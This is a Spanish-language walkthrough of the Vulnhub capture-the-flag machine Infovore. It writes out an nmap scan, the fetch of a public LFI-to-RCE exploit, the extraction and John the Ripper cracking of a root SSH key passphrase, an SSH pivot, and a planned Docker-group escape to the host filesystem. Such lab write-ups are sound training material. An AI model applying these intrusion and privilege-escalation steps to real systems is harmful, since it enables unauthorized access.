Hoy vamos a hackear la maquina de Vulnhub llamada
Infovore. Podeis descargarla desde el siguiente enlace:
Infovore
Video
Enumeration
Empezamos con un nmap para ver que puertos
tiene abiertos.
sml@Cassandra:~$ nmap -A -p- 192.168.1.27
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-28 22:24 CEST
Nmap scan report for infovore.home (192.168.1.27)
Host is up (0.00039s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Include me ...
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.00 seconds
Vemos que solo tiene el puerto 80 abierto, asi que lo investigamos
un poco mas.
Entre otras cosas, encontramos el fichero info.php que nos muestra
la tipica salida de phpinfo(), y por otro lado el fichero index.php
Vamos a ver si index.php acepta algun parametro...
Vemos que acepta el parametro "filename".
Tras probar, poco podemos hacer con el LFI por si solo, sin embargo
hay un exploit[1] que puede servirnos, ya que reunimos todos los
requisitos! :)
sml@Cassandra:~/$ mkdir infovore
sml@Cassandra:~/$ cd infovore
sml@Cassandra:~/infovore$ wget
https://github.com/M4LV0/LFI-phpinfo-RCE/blob/master/exploit.py
En el exploit debemos modificar, la IP, el
Puerto y modificar la variable REQ1 y LFIREQ para poner
nuestro info.php y nuestro parametro filename:
Hemos encontrado una flag, seguimos rebuscando por el sistema...
En / encontramos un fichero llamado .oldkeys.gz
Lo descomprimimos.
www-data@e71b67461f6c:/$ cp .oldkeys.tgz /tmp
www-data@e71b67461f6c:/$ cd /tmp
www-data@e71b67461f6c:/tmp$ tar -xzvf .oldkeys.tgz
root
root.pub
Vemos que tiene una key publica y otra privada.
Copiamos la key privada a nuestra maquina para ver si podemos
crackear el password.
sml@Cassandra:~/.ssh$ /usr/share/john/ssh2john.py root > root.hash
sml@Cassandra:~/.ssh$ sudo /usr/sbin/john root.hash
--wordlist=/home/sml/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded
hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
choclate93 (root)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:04 DONE (2020-06-29 09:45) 0.2457g/s 3523Kp/s 3523Kc/s
3523KC/sa6_123..*7¡Vamos!
Session completed
Bien, tenemos el password, choclate93.
Hacemos "su" para ver si nos sirve la password para root.
www-data@e71b67461f6c:/$ su -P root
Password: choclate93
root@e71b67461f6c:/# id
uid=0(root) gid=0(root) groups=0(root)
Funciona :)
root.txt
root@e71b67461f6c:/tmp# cd /root
root@e71b67461f6c:~# ls
root.txt
root@e71b67461f6c:~# cat root.txt
FLAG{Congrats_on_owning_phpinfo_hope_you_enjoyed_it}
And onwards and upwards!
En el directorio de root, vemos la carpeta .ssh que contiene 2 keys.
En la key publica, aparece el usuario "admin" y una IP.
root@e71b67461f6c:/# ssh admin@192.168.150.1
Enter passphrase for key '/root/.ssh/id_rsa': choclate93
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Jun 23 05:59:43 2020 from 192.168.150.21
admin@infovore:~$
admin.txt
admin@infovore:~$ ls
admin.txt
admin@infovore:~$ cat admin.txt
FLAG{Escaped_from_D0ck3r}
Vemos que el usuario admin pertenece al grupo docker.
Miramos que imagenes tenemos.
admin@infovore:~$ docker images
REPOSITORY TAG IMAGE ID CREATED
SIZE
theart42/infovore latest 40de379c5116 6 days ago
428MB
Ahora solo nos queda montar la raiz del sistema /, en la carpeta del container
/mnt/fuckfs,
y ya que seremos root del container, podremos ver todo :)